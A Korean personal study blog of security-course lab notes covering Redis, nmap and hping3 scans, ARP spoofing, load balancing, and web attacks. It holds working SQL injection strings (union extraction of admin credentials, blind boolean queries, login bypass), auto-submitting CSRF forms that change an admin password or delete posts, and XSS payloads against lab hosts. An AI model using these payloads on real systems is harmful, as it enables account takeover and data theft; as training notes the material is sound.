redis

yum -y install redis

[root@localhost ~]# service redis start
redis-server 시작 중:                                      [  OK  ]
[root@localhost ~]# service redis status
redis-server (pid  3302)를 실행하고 있습니다..
[root@localhost ~]# vi /etc/redis.conf 


[root@localhost ~]# rpm -qa redis
redis-3.2.12-2.el6.x86_64


[root@localhost ~]# redis-cli
127.0.0.1:6379> MONITOR
OK





redis 클라이언트
웹서버

yum install php-redis
vim /etc/php.ini
> session.save_handler = redis // 세션 핸들러를 redis로 변경
> session.save_path = "tcp://10.10.60.100:6379" // 기존 패스 값 주석(아래쪽에 session.save_path하나더있는거) , 주석 해제 후 설정(redis 서버 주소)
service httpd restart




















'정보보안 > 공부 기록' 카테고리의 다른 글

UDP/TCP Scan  (0) 2023.01.01
ARP Spoofing, ragrouter  (0) 2023.01.01
로드밸런싱  (0) 2023.01.01
SQL Injection 유용한 문법  (0) 2023.01.01
CSRF  (0) 2023.01.01

nmap
- -v : 상세한 내용 출력
- -PS : tcp SNK/ACK
nmap -v -PS 192.168.0.100

UDP 스캔
- 열려있으면 응답 없고, 닫혀 있으면 icmp unreachable 응답을 보냄
- -sU : udp 스캔
> 포트갯수 지정안하면 1000개의 포트를 검사함
nmap -v -sU 192.168.0.100
- -p : 포트 / 포트-포트 / 포트, 포트, 포트 / 포트-포트, 포트, 포트
nmap -v -sU -p 100 192.168.0.200

TCP스캔
- 열려있으면 SYN - SYN/ACK - ACK 응답이 오고, 닫혀 있으면 RST 응답이 온다.
 > nmap [Scan Type] (Option) 목적지
- -sT : connect()스캔
nmap -v -sT 192.168.0.100
- -sS : TCP SYN
nmap -v -sS 192.168.0.100

FIN 스캔
nmap -v -sF 192.168.0.100

Xmas scans
nmap -v -sX 192.168.0.100

IDLE Scanning
nmap -v -sI 20.20.20.20 34.0.0.100



hping3
- -2 or -- udp : udp
- -p : port
- -c : count
hping3 -c 1 --udp -p 53 192.168.0.1000


IDLE Scanning
- 출발지 주소 변조해서 열려있는 포트 확인
- -a, --spoof : 출발지 주소 변조
hping3 -c 1 -a 20.20.20.20 -S -p 80  34.0.0.100
으로 핑을 보내면 출발지가 20.20.20.20으로 되어 있어서 응답을 20.20.20.20으로 보내게 된다.
그리고 20.20.20.20에서는 보낸적없는 ip에서 응답이 왔으므로 RST을 생성해서 보내느라 id값이 하나 쓰여 공격자 pc에는 id +2가 찍혀있다.


















'정보보안 > 공부 기록' 카테고리의 다른 글

Redis Server  (0) 2023.01.04
ARP Spoofing, ragrouter  (0) 2023.01.01
로드밸런싱  (0) 2023.01.01
SQL Injection 유용한 문법  (0) 2023.01.01
CSRF  (0) 2023.01.01

ifconfig eth0 promisc
- eth0 을 promisc 모드로 변경해라
- 목적지가 내가 아닌 패킷도 수신해라

ifconfig eth0 -promisc
- promisc 해제



ARP Spoofing

spoofing 공격은 arp 가 dynamic으로 되어있을때 가능
arp가 static으로 되어 있으면 불가능

스태틱 설정 방법
윈도우
cmd 창에서 일시적 설정
arp -s 10.10.10.254 cc-02-31-14-00-00 (해당 ip max주소)
입력하면 스태틱으로 변경 그러나 재부팅하면 다시 원래대로 돌아옴

Booting Script 설정
메모장에 arp -s 10.10.10.254 cc-02-31-14-00-00 dat 파일로 저장 후 시작프로그램에 넣어 둔다


리눅스 
cmd창에서 일시적 설정
arp -s 10.10.10.254 cc:02:31:14:00:00 (해당 ip max주소)
입력하면 스태틱으로 변경 그러나 재부팅하면 다시 원래대로 돌아옴

Booting Script 설정
vim /etc/rc.d/rc.local
arp -s 10.10.10.254 cc:02:31:14:00:00 (해당 ip max주소)
입력하면 스태틱으로 변경 되고 재부팅 돼도 유지 됨

-t 는 타겟, - r은 반대방향(응답받는 ip주소 인척) 응답패킷보내기
arpspoof -t 10.10.10.10 -r 10.10.10.20
(10.10.10.10한테 10.10.10.20 인척 보낸다.)

포워딩
- 양방향 응답가능하게 만들기
-서로 응답이 안오면 공격의심을 받기때문에 서로 응답이 되도록 만들어 의심을 못하게 만든다.

Software Forwarding
> ragrouter -B1

Kernel Forwarding
- 운영체제의 라우팅기능 활성화
- 라우터처럼 라우팅 형태로 사용하기 (Boolean 설정)
- 설정은 참(=1), 해제는 거짓(=0)으로 설정

┌──(root㉿kali)-[~]
└─# sysctl net.ipv4.ip_forward
net.ipv4.ip_forward = 0

forward=1 로 설정
┌──(root㉿kali)-[~]
└─# sysctl net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1

포워딩은 경로추적에서 1개가 뜨고 커널(라우팅역할)은 2개가 뜬다.



XP & Win7 ARP Cache Table 전부 지운 상태에서 kali로 arpspoof -t 10.10.10.10 10.10.10.20 공격을 하면 
XP & Win7 ARP Cache Table 에는 아무것도 남지 않는다.
(만약 무언가 남을 시 다시 캐시테이블 지우고 해보자)
kali가 arpspoof -t 10.10.10.10 10.10.10.20로 공격중인 상태(캐시테이블에 아무것도 없는 상태)에서 
XP에서 Win7로 ping을 보내면 캐시테이블에 kali 맥 주소가 입력된다.

arpwatch
service arpwatch start
mail 확인

'정보보안 > 공부 기록' 카테고리의 다른 글

Redis Server  (0) 2023.01.04
UDP/TCP Scan  (0) 2023.01.01
로드밸런싱  (0) 2023.01.01
SQL Injection 유용한 문법  (0) 2023.01.01
CSRF  (0) 2023.01.01

LVS 용으로 centos 하나 풀기

yum install ipvsadm

web server들의 vm번호를 동일하게 함
index 파일에 구분가능하도록 표시

LVS
아이피주소는 웹서버와 동일한 네트워크로 구성
v-ip(외부에 알릴 웹서버 ip) 설정
라우팅 가능하도록 sysctl net.ipv4.ip_forward=1 설정
(vim /etc/sysctl.conf)
서브네트워크 추가 - ificonfig eth0:0 v-ip 주소 netmask ~~~
(vim /etc/rc.d/rc.local 에 추가 , 스크립트 파일은 ip중복으로 실행안됨 )


ipvsadm -A -t v-ip :port번호 -s rr(할당방법)
A : 가상서버 ip
t : tcp
s : 스케쥴러
rr : 라운드로빈 방식

ipvsadm -a -t v-ip:port번호 -r web server(첫번째) ip:80 -g
a : 추가
r : 실제ip
g : 다이랙트 라우팅

ipvsadm -a -t v-ip:port번호 -r web server(두번째) ip:80 -g
ipvsadm -L

service ipvsadm save

watch ipvsadm -Ln
모니터링하기

ARP 응답을 LVS 에서만 받기 위해 설정하기
네임서버 켜있어야함
1. 웹서버 전부 yum install arptables_jf

2. arptables -A IN -d v-ip -j DROP
arptables -A OUT -S v-ip -j mangle --mangle-ip-s 해당 웹서버 ip 주소
A : append
mangle :  ip주소 변경

3. ifconfig eth0:0 v-ip netmask ~~~
(vim /etc/rc.d/rc.local 에 추가 , 스크립트 파일은 ip중복으로 실행안됨 )

다른 웹서버도 위와 같이 설정









'정보보안 > 공부 기록' 카테고리의 다른 글

UDP/TCP Scan  (0) 2023.01.01
ARP Spoofing, ragrouter  (0) 2023.01.01
SQL Injection 유용한 문법  (0) 2023.01.01
CSRF  (0) 2023.01.01
SQL Injection  (0) 2023.01.01

연습1
SQL Injection 공격을 사용하여 관리자 계정을 획득하시오!

힌트1
 > 로그인 페이지는 일반 사용자를 위한 페이지
 > 관리자용 로그인 페이지는 따로 존재함
 > 관리자용 로그인 페이지는 메인 페이지에 링크 없음
 > URL 직접 입력, main 디렉터리가 아닌 별도의 디렉터리에 존재
=>200.200.200.7/admin/

힌트2
 > MYSQL 버전이 4버전, Information_Schema 없음
 > 테이블 이름 및 컬럼 이름을 조회X
 > 입력 값이 문법 오류 발생이 되도록 전달 하면 Query를 응답 메시지에 포함하여 전달
 > Query 볼수 있으면 테이블 이름 및 컬럼을 확인

힌트3
 > Injection Vector
 > http://200.200.200.7/customer/customer01.php?sub_page=&show=view&board=customer01&id=2&offset=0&select=&contents=&category=&pg=
 > id 인자


풀이
http://200.200.200.7/admin/login.php 로그인화면에서
id = admin '1
pw = 아무숫자나 문자
로그인하면 아래 같이 Qry Err 에러가 뜬다.

Qry Err. : select * from admin where A_id='admin' 1' and A_pass='1'
> A_id , A_pass 두개의 속성이름을 알 수 있다.

인자값 개수를 알아내기 위해 아무 게시판 글에 들어가서 url에 비어있는 값을 지워보고
똑같이 내용이 나오면 지우고 아니면 지우지 않는다.
지울거 지워주고 id 값에 0을 넣어주면 내용이 비어진 상태로 변한다.
http://200.200.200.7/customer/customer01.php?show=view&board=customer01&id=0

문자열인지 숫자인지 확인하기 위해 and 연산을 사용해서 확인해본다.
http://200.200.200.7/customer/customer01.php?show=view&board=customer01&id=1%27%20and%201%23
> 확인결과 문자열로 판단되어 '를 넣어준다.

컬럼수 알아내기 위해 order by를 사용한다.
참고로 id=0는 문자열이라서 0다음에 ' 넣어줘야한다. 
http://200.200.200.7/customer/customer01.php?show=view&board=customer01&id=0%27%20order%20by%2016%20%23

select 문에 16번까지 의 숫자를 넣고 화면에 뜨는 숫자를 확인하고 표시되는 숫자부분에 A_id와 A_pass를 넣어 출력하면 id 와 password가 뜬다.
http://200.200.200.7/customer/customer01.php?show=view&board=customer01&id=0%27%20union%20select%201,2,A_id,4,5,6,7,8,A_pass,10,11,12,13,14,15,16%20from%20admin%20%23

table : admin
column : A_id, A_pass

 airconAdmin
 sorkrhksflwkek






SQL Injection 유용한 문법

값을 거짓되게 하고 union으로 select 구문을 연결해준다.
> 컬럼 수는 하나씩 늘려가며 값이 뜰때까지 맟춰야한다.
> 공백(%20)이 필요하다.
http://www.a.com/board_view.php?no=-2%20%20union%20select%201,2,3,4,5%20%23

코드에 아래 명령어 추가하면 injection 공격이 막힌다.
$no = str_replace(" ", "", $no);

TAP(%09) 과 Line Feed(%0a) 16진수를 넣어 주면 인젝션 공격 가능
http://www.a.com/board_view.php?no=-2%09union%09select%091,2,3,4,5%20%23
http://www.a.com/board_view.php?no=-2%0aunion%0aselect%0a1,2,3,4,5%20%23

mysql 서버에서
mysql> select 'admin' ; 하면 값이 나옴

mysql> select admin ; 하면 에러뜸

> '' 로 묶으면 값으로 인식하고 ''이 없으면 컬럼명으로 인식한다.

mysql> select 0x61646d696e;
명령어는 ''없어도 검색 가능

mysql> select id,pass from member_tb where id='admin' ;
+-------+----------+
| id    | pass     |
+-------+----------+
| admin | P@ssw0rd |
+-------+----------+
1 row in set (0.02 sec)

mysql> select id,pass from member_tb where id=0x61646d696e ;
+-------+----------+
| id    | pass     |
+-------+----------+
| admin | P@ssw0rd |
+-------+----------+

> , 를 붙히면 문자가 각각 써짐
mysql> select 'a','b';
+---+---+
| a | b |
+---+---+
| a | b |
+---+---+
1 row in set (0.00 sec)

> 공백으로 문자 연결 가능
mysql> select 'a' 'b';
+----+
| a  |
+----+
| ab |
+----+
1 row in set (0.00 sec)

> 공백없이 붙혀써도 문자 연결 가능
mysql> select 'a''b';
+-----+
| a'b |
+-----+
| a'b |
+-----+
1 row in set (0.00 sec)

mysql> select 'a' 'd' 'm' 'i' 'n';
+-------+
| a     |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)

공백 사용 못할 시 concat을 사용해서 문자를 만들 수 있다.
mysql> select concat('a', 'd', 'm', 'i', 'n');
+---------------------------------+
| concat('a', 'd', 'm', 'i', 'n') |
+---------------------------------+
| admin                           |
+---------------------------------+
1 row in set (0.01 sec)


char은 문자를 만들수 있는데 10진수를 사용해야한다.
mysql> select char(97);
+----------+
| char(97) |
+----------+
| a        |
+----------+


concat 과 char을 같이 사용가능
mysql> select concat(char(97), char(100), char(109), char(105), char(110)) ;
+--------------------------------------------------------------+
| concat(char(97), char(100), char(109), char(105), char(110)) |
+--------------------------------------------------------------+
| admin                                                        |
+--------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select id, pass from member_tb where id=concat(char(97), char(100), char(109), char(105), char(110)) ;
+-------+----------+
| id    | pass     |
+-------+----------+
| admin | P@ssw0rd |
+-------+----------+
1 row in set (0.00 sec)


blind SQL Injection 
id : admin' and 1#
pw :  아무거나
로그인 하면 로그인 성공

admin' and 0#
pw :  아무거나
로그인 하면 로그인 실패
 > 조작은 되나 쿼리를 확인할 수 없다.

(문자, 자릿수, 자를 글자 수 )
> 자릿수는 1부터 시작한다.
mysql> select substr('admin', 1, 1);
+-----------------------+
| substr('admin', 1, 1) |
+-----------------------+
| a                     |
+-----------------------+
1 row in set (0.00 sec)

mysql> select substr('admin', 2, 1);
+-----------------------+
| substr('admin', 2, 1) |
+-----------------------+
| d                     |
+-----------------------+
1 row in set (0.00 sec)

mysql> select substr('admin', 3, 1);
+-----------------------+
| substr('admin', 3, 1) |
+-----------------------+
| m                     |
+-----------------------+
1 row in set (0.00 sec)

mysql> select substr('admin', 4, 1);
+-----------------------+
| substr('admin', 4, 1) |
+-----------------------+
| i                     |
+-----------------------+
1 row in set (0.00 sec)

mysql> select substr('admin', 5, 1);
+-----------------------+
| substr('admin', 5, 1) |
+-----------------------+
| n                     |
+-----------------------+
1 row in set (0.00 sec)


> ascii 코드로 표현
mysql> select ascii(substr('admin', 1, 1));
+------------------------------+
| ascii(substr('admin', 1, 1)) |
+------------------------------+
|                           97 |
+------------------------------+
1 row in set (0.00 sec)

> 뒤쪽에 숫자를 
mysql> select ascii(substr('admin', 1, 1)) >= 65 ;
+------------------------------------+
| ascii(substr('admin', 1, 1)) >= 65 |
+------------------------------------+
|                                  1 |
+------------------------------------+
1 row in set (0.00 sec)

mysql> select ascii(substr('admin', 1, 1)) < 65 ;
+-----------------------------------+
| ascii(substr('admin', 1, 1)) < 65 |
+-----------------------------------+
|                                 0 |
+-----------------------------------+
1 row in set (0.00 sec)


id : admin' and ascii(substr(database(),1,1)) >= 65#
pw : 아무거나
로그인 하면 성공
id : admin' and ascii(substr(database(),1,1)) >= 97#
id : admin' and ascii(substr(database(),1,1)) >= 110#
id : admin' and ascii(substr(database(),1,1)) >= 116#
id : admin' and ascii(substr(database(),1,1)) >= 119#
> 로그인 성공을 하면 반씩 줄여가며 실패가 뜰때까지 해본다.
id : admin' and ascii(substr(database(),1,1)) >= 121#
121에서 실패뜨면 = 을써서 같은지 확인

id : admin' and ascii(substr(database(),1,1)) = 119#
로그인 성공
id : admin' and ascii(substr(database(),1,1)) = 120#
로그인 실패

그러면 해당 글자는 119 (w) 이다.. 
이렇게 한글자 한글자 한글자 한글자 알아내야한다..


단어 갯수 알아보기
> 0뜨면 거짓 1 뜨면 참

mysql>  select length(database()) >11 ;
+------------------------+
| length(database()) >11 |
+------------------------+
|                      0 |
+------------------------+
1 row in set (0.00 sec)

mysql>  select length(database()) >10 ;
+------------------------+
| length(database()) >10 |
+------------------------+
|                      1 |
+------------------------+
1 row in set (0.00 sec)


admin' and ascii(substr(version(),1,1)) = 53#
>DBMS 버전은 5.X, Information_schema 있음

mysql> select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1;
+------------+
| table_name |
+------------+
| board_tb   |
+------------+
1 row in set (0.00 sec)

> table name 길이 구하기
mysql> select length((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1));
+-------------------------------------------------------------------------------------------------------+
| length((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1)) |
+-------------------------------------------------------------------------------------------------------+
|                                                                                                     8 |
+-------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)


mysql> select substr((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1),1,1);
+-----------------------------------------------------------------------------------------------------------+
| substr((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1),1,1) |
+-----------------------------------------------------------------------------------------------------------+
| b                                                                                                         |
+-----------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)


admin' and ascii(substr((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1), 1,1)) >= 98#
> b


연습2 
200.200.200.7/login/html
> blind SQL Injection
> webhacktest 데이터베이스에 있는 대문자 F로 시작하는 테이블의 값을 찾으시오
> 테이블의 컬럼은 1개 레코드도 1개, 레코드 값을 찾아야 함

풀이2
테이블 길이 구하기
admin' and length((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1)) = 4#

admin' and ascii(substr((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1), 1,1)) = 70#
 > F
admin' and ascii(substr((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1), 2,1)) = 108#
 > l
admin' and ascii(substr((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1), 1,1)) = 97#
 > a
admin' and ascii(substr((select table_name from information_schema.tables where table_schema='webhacktest' limit 0,1), 1,1)) = 103#
 > g



column 길이 구하기
admin' and length((select column_name from information_schema.columns where table_name='Flag' limit 0,1)) = 4#

admin' and ascii(substr((select column_name from information_schema.columns where table_name='Flag' limit 0,1), 1,1)) = 72#
 > H

admin' and ascii(substr((select column_name from information_schema.columns where table_name='Flag' limit 0,1), 2,1)) = 50#
 > 2

admin' and ascii(substr((select column_name from information_schema.columns where table_name='Flag' limit 0,1), 3,1)) = 114#
 > r

admin' and ascii(substr((select column_name from information_schema.columns where table_name='Flag' limit 0,1), 4,1)) = #
 > e


레코드 길이 구하기
admin' and length((select H2re from webhacktest.Flag limit 0,1)) = 5#

admin' and ascii(substr((select H2re from webhacktest.Flag limit 0,1), 1,1)) = 71#
 > G

admin' and ascii(substr((select H2re from webhacktest.Flag limit 0,1), 2,1)) = 48#
 > 0

admin' and ascii(substr((select H2re from webhacktest.Flag limit 0,1), 3,1)) = 48#
 > 0

admin' and ascii(substr((select H2re from webhacktest.Flag limit 0,1), 4,1)) = 100#
 > d

admin' and ascii(substr((select H2re from webhacktest.Flag limit 0,1), 5,1)) = 33#
 > !

테이블
Flag

컬럼
H2re

레코드
G00d!


Boolean-Based Blind Injection
vi web_test.py










'정보보안 > 공부 기록' 카테고리의 다른 글

ARP Spoofing, ragrouter  (0) 2023.01.01
로드밸런싱  (0) 2023.01.01
CSRF  (0) 2023.01.01
SQL Injection  (0) 2023.01.01
XSS  (0) 2023.01.01

CSRF 공격방법
1. referer 체크
 > referer header를 삭제 후 서버가 요청이 발생한 위치를 체크하는지 확인 
2. 요청이 발생한 위치를 체키하지 않는다면 요청 메소드 확인(get, post)
 > get인 경우 script 없이 자동 요청 코드 작성 가능
 > post인 경우 script 사용하여 자동 요청 코드 작성 가능
3. 자동 요청 코드 작성
 > 변경하고자 하는 값이 어떻게 전달되는지 분석 후 코드 작성
4. 공격 대상에게 전달
 > stored(웹서버 게시판 같은 기능을 사용하여 몰래 저장)
 > 자동 요청 코드를 reflected 형태의 공격이 가능한 injeection vector를 사용

CSFR 공격

<img width="0" height="0" src="http://www.a.com/nick_proc.php?nickname=hack"></img>test 

연습1
guest 계정을 사용하는 해커는 admin 관리자가 작성해놓은 공지사항글을 삭제하고 싶다.
하지만 권한이 없어 삭제가 불가능하다.
!CSRF 공격코드를 작성하여 공지사항글을 삭제!
> 해커는 '관리자님 도와주세요'라는 제목의 글을 등록
> 해당 글을 읽으면 '해결되었습니다.'라는 글 내용이 출력
> 이때 해커가 입력해놓은 CSRF 공격 코드에 의해 공지사항 글이 삭제
> 해커 글 등록 후 관리자쪽에서 해당 글 읽어야함!

<img width="0" height="0" src="http://www.a.com/board_del.php?no=54"></img>해결완료!!!
등록 후 관리자로 로그인해서 해당 게시글 클릭하면 공지사항 삭제됨


- post메소드인 경우 전달 값이 포함되는 form을 복사하여 원하는 값을 셋팅
 > 아래 소스코드에 있는 <form> 부분을 사용한다. 
<!DOCTYPE html>
<html>
    <head>
        <title>csrf post7</title>
    </head>

    <body>
        <pre>
            제목 : csrf post7
            내용 : <iframe width="0" height="0" name="i"></iframe>
<form id="f" method="post" action="nick_proc.php" target="i">
<input type="hidden" name="nickname" value="hack">
</form>
<script>document.getElementById("f").submit();</script>
            작성자 : guest
            등록일 : 2022-10-12 15:04:26
        </pre>

    </body>
</html> 


http://www.a.com/board_insert.php

subject=test&content=1111


 연습1
자동 글 올리기
공격자가 '관리자님 도와주세요!!"라는 글 게시
관리자가 글을 읽으면 자신도 모르게 자신의 이름으로 "제목 : 사이트폐쇄, 내용: 우리사이트의 개인정보가 털렸으니 하루빨리 탈퇴바랍니다." 라는 글이 등록
Tip: textarea 는 type=text와 같음

풀이1
<iframe width="0" height="0" name="i"></iframe>
 > iframe : 페이지 영역을 나눌수 있는 기능
 > name : iframe 이름 지정
<form id="f" method="post" action="board_insert.php" target="i">
 > id : form을 선택할 수 있도록 id 지정
 > target : 폼의 응답을 특정 프레임으로 지정해서 넘길수 있는 기능
<input type="hidden" name="subject" value="사이트폐쇄">
<input type="hidden" name="content" value="우리사이트의 개인정보가 털렸으니 하루빨리 탈퇴바랍니다.">
</form>
<script>document.getElementById("f").submit();</script>
 > 자동으로 요청을 보내기 위해 script를 사용한다.
 > document : 현재 페이지 선택
 > . : 선택한 페이지 내에서
 > getElementById("?") : id를 읽겠다.
 (form 코드는 게시판 소스코드에서 가져옴)


연습2
공격자가 등록한 글을 읽으면 관리자 계정의 비밀번호가 공격자가 원하는 비밀번호로 변경되도록하는 CSRF 공격코드를 작성하시오
제목 : 관리자님 도와주세요2
내용 : 이제 관리자는 내꺼다.

관리자가 글을 읽으면 관리자의 비번이 설정한 비번으로 변경됨

http://www.a.com/member_update.php
pass=1111&pass_re=1111&name=1&nickname=1&mobile=1&email=1&address=1

<iframe width="0" height="0" name="i"></iframe>
<form id="f" method="post" action="member_update.php" target="i">
<input type="hidden" name="pass" value="1111">
</form>
<script>document.getElementById("f").submit();</script>


CSRF 보안
<iframe width="0" height="0" name="i"></iframe>
<form id="f" method="post" action="member_update.php" target="i">
<input type="hidden" name="pass" value="1111">
<input type="hidden" name="anticsrftoken" value="d7c283937c089163055d5a964fe868a3"
</form>
<script>document.getElementById("f").submit();</script>




<iframe width="0" height="0" name="i"></iframe>
<form method="post" action="nick_proc.php" target="i" id="f">
<input type="hidden" name="nickname" value="hack">
<input type="hidden" name="anticsrftoken" value="85b8b476328704f51ce0aacacac30735">
</form><script>document.getElementById("f").submit();</script>




<iframe width="0" height="0" name="i"></iframe>
<form id="f" method="post" action="BTS_board.php" target="i">
<input type="hidden" name="subject" value="사이트폐쇄">
<input type="hidden" name="content" value="우리사이트의 개인정보가 털렸으니 하루빨리 탈퇴바랍니다.">
</form>
<script>document.getElementById("f").submit();</script>



<img width="0" height="0" src="http://www.mario-ent.com/board_del.php?no=24"></img>해결완료!


<iframe width="0" height="0" name="i"></iframe>
<form id="f" method="post" action="member_update.php" target="i">
<input type="hidden" name="pass" id="pass" value="1111">
</form>
<script>document.getElementById("f").submit();</script>

'정보보안 > 공부 기록' 카테고리의 다른 글

로드밸런싱  (0) 2023.01.01
SQL Injection 유용한 문법  (0) 2023.01.01
SQL Injection  (0) 2023.01.01
XSS  (0) 2023.01.01
HSRP, VRRP  (0) 2023.01.01

SQL Injection
> 서버측에서 클라이언트로부터 전달받은 인자를 쿼리에 조건 값으로 사용
> where 절은 참이어야 쿼리 실행
> 조작된 입력 값을 전달 했을 때 조건의 결과는 참이 되도록 만들어야함
> 조건에서 사용되는 각족 연산자를 이해하고 활용
> and, or 연산자는 반드시 이해

Injection Vactor 확인
> 입력 값을 의도적으로 참, 거짓으로 만들어서 응답 확인
> 입력 값이 숫자, 문자 일때 결과 다름
> and, or 사용하여 참 또는 거짓을 작성하여 확인
 > 기존에 주어진 값이 참인 경우는 and 테스트
 > 기존에 주어진 값이 거짓인 경우는 or 테스트
 > 참 and 참 -> 참
 > 참 and 거짓 -> 거짓
 > 거짓 or 참 -> 거짓
 > 거짓 or 거짓  -> 거짓
 > no=3 -> 결과가 넘어옴(참)
 > 숫자인 경우
 > no=3 and 1 %23(#을 url문자로 작성) -> 의도적으로 참인 결과(결과 넘어옴)
 > no=3 and 0 %23(#을 url문자로 작성) -> 의도적으로 거짓인 결과(결과 안넘어옴)
 > no 값은 조작 가능, 숫자
 > 문자인 경우
 > no=3' and 1 %23(#을 url문자로 작성) -> 의도적으로 참인 결과(결과 넘어옴)
 > no=3' and 0 %23(#을 url문자로 작성) -> 의도적으로 거짓인 결과(결과 안넘어옴)


'' 을 이용한 조작
mysql> select id from member_tb where id= 'admin'; select 'test';
+-------+
| id    |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)

+------+
| test |
+------+
| test |
+------+
1 row in set (0.00 sec)




http://www.a.com/board_view.php?no=1 union select 1,2,3,4,
table_name from information_schema.tables where table_schema='webhacktest'


연습1
SQL Injection 공격을 사용하여 관리자 계정을 획득하시오!

힌트1
 > 로그인 페이지는 일반 사용자를 위한 페이지
 > 관리자용 로그인 페이지는 따로 존재함
 > 관리자용 로그인 페이지는 메인 페이지에 링크 없음
 > URL 직접 입력, main 디렉터리가 아닌 별도의 디렉터리에 존재
=>200.200.200.7/admin/

힌트2
 > MYSQL 버전이 4버전, Information_Schema 없음
 > 테이블 이름 및 컬럼 이름을 조회X
 > 입력 값이 문법 오류 발생이 되도록 전달 하면 Query를 응답 메시지에 포함하여 전달
 > Query 볼수 있으면 테이블 이름 및 컬럼을 확인

힌트3
 > Injection Vector
 > http://200.200.200.7/customer/customer01.php?sub_page=&show=view&board=customer01&id=2&offset=0&select=&contents=&category=&pg=
 > id 인자


풀이
http://200.200.200.7/admin/login.php 로그인화면에서
id = admin '1
pw = 아무숫자나 문자
로그인하면 아래 같이 Qry Err 에러가 뜬다.

Qry Err. : select * from admin where A_id='admin' 1' and A_pass='1'
> A_id , A_pass 두개의 속성이름을 알 수 있다.

인자값 개수를 알아내기 위해 아무 게시판 글에 들어가 id 값에 0을 넣어주면 내용이 비어진 상태로 변한다.
http://200.200.200.7/customer/customer01.php?sub_page=&show=view&board=customer01&id=0

컬럼수 알아내기 위해 order by를 사용한다.
참고로 id=0는 문자열이라서 0다음에 ' 넣어줘야한다. 
http://200.200.200.7/customer/customer01.php?sub_page=&show=view&board=customer01&id=0%27%20order%20by%2016%20%23

select 문에 16번까지 의 숫자를 넣고 화면에 뜨는 숫자를 확인하고 표시되는 숫자부분에 A_id와 A_pass를 넣어 출력하면 id 와 password가 뜬다.
http://200.200.200.7/customer/customer01.php?sub_page=&show=view&board=customer01&id=0%27%20union%20select%201,2,A_id,4,5,6,7,8,A_pass,10,11,12,13,14,15,16%20from%20admin%20%23

 airconAdmin
 sorkrhksflwkek

SQL Injection 인증우회
ID ' or'1'='1
PW ' or'1'='1
하면 관리자로 로그인이 된다.

select * from member_tb where id='' or'1'='1 ' and pass='' or'1'='1 ' ;

select * from member_tb where 거짓 or 거짓 or 참
select * from member_tb where 거짓 or 참
select * from member_tb where 참

ID admin'#
PW 비번 아무거나 
하면 관리자 계정으로 로그인이 된다.
 >  #으로인해 뒤쪽 코드내용이 주석처리 되기 때문이다.

'정보보안 > 공부 기록' 카테고리의 다른 글

SQL Injection 유용한 문법  (0) 2023.01.01
CSRF  (0) 2023.01.01
XSS  (0) 2023.01.01
HSRP, VRRP  (0) 2023.01.01
FTP  (0) 2023.01.01

script 코드가 포함되어 있는 URL을 공격대상에게 전달, 공격대상 쪽에서 요청!
> 공격부분(<script>alert("xss");</script>)을 인코딩으로 바꿔서 공격
> 인코딩으로 바꾸는 방법 -> 공격자pc burpsuite -> decoder -> <script>alert("xss");</script> 문구를 박스에 써주고 왼쪽에 첫번째 칸에 두번째 부분에 있는 encode as 눌러서 url 클릭하면 바뀐다.
http://www.a.com/board_search.php?keyword=<script>alert("xss");</script>
====
http://www.a.com/board_search.php?keyword=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%3e


연습1
200.200.200.7 사이트 접속
> XSS 취약점을 이용한 공격이 가능한 위치를 찾으시오.
> Reflected, Stored 둘다 존재
> Stored는 실습한 것처럼 간단하게 가능하지는 않음

고객센터 게시판에 글쓰기로 들어가서
html 버튼 누르고 그안에 
<script>alert("xss");</script> 내용입력하고 등록

HTML 언어는 대/소문자를 구분하지 않음

> i -> 대소문자 구분 안함
$subject = preg_replace("/<script/i", "", $subject);
$content = preg_replace("/<script/i", "", $content);

'정보보안 > 공부 기록' 카테고리의 다른 글

CSRF  (0) 2023.01.01
SQL Injection  (0) 2023.01.01
HSRP, VRRP  (0) 2023.01.01
FTP  (0) 2023.01.01
게이트웨이 이중화  (0) 2023.01.01

HSRP

R1(config)#track 1 interface fastEthernet 0/1 line-protocol
>트랙 구성

R1(config)#int fa 0/0
R1(config-if)#standby 1 ip 10.10.10.254
> 대표 아이피 설정
R1(config-if)#standby 1 priority 120
> 우선순위 번호 설정
R1(config-if)#standby 1 track 1 decrement 30
R1(config-if)#standby 1 authentication md5 key-string 0 qwer1234

R1#show standby brief

VRRP

ESW1
ESW1(config)#int vlan 10
ESW1(config-if)#vrrp 1 ip 10.10.10.254
ESW1(config-if)#vrrp 1 priority 120

ESW1(config)#track 1 interface fa1/5 line-protocol
ESW1(config)#int vlan 10
ESW1(config-if)#vrrp 1 tra 1 decrement 30
ESW1(config-if)#vrrp 1 authentication md5 key-string 0 qwer1234

ESW1#show vrrp bri

ESW2
ESW2(config)#int vlan 10
ESW2(config-if)#vrrp 1 ip 10.10.10.254
ESW2(config-if)#vrrp 1 priority 100
ESW2(config-if)#vrrp 1 authentication md5 key-string 0 qwer1234

'정보보안 > 공부 기록' 카테고리의 다른 글

SQL Injection  (0) 2023.01.01
XSS  (0) 2023.01.01
FTP  (0) 2023.01.01
게이트웨이 이중화  (0) 2023.01.01
VLAN  (0) 2023.01.01

vim /etc/vsftpd/vsftpd.conf

anonymous_enable=YES 익명 접속 여부
local_enable=YES 로컬 경로 사용 여부
write_enable=YES 쓰기 권한 줄지 여부
local_umask=022 파일 업로드나 생성시 기본적으로 부여해 줄 권한 설정
anon_upload_enable=YES 익명 업로드 설정 여부
anon_mkdir_write_enable=YES 익명 디렉토리 생성 여부 설정
chroot_list_enable=YES chroot_list 사용 여부


cd /etc/vsftpd/

chroot_list


1.FTP 프로그램(vsftpd) 설치

# yum install vsftpd



2.환경설정 수정

# vi /etc/vsftpd/vsftpd.conf



변경

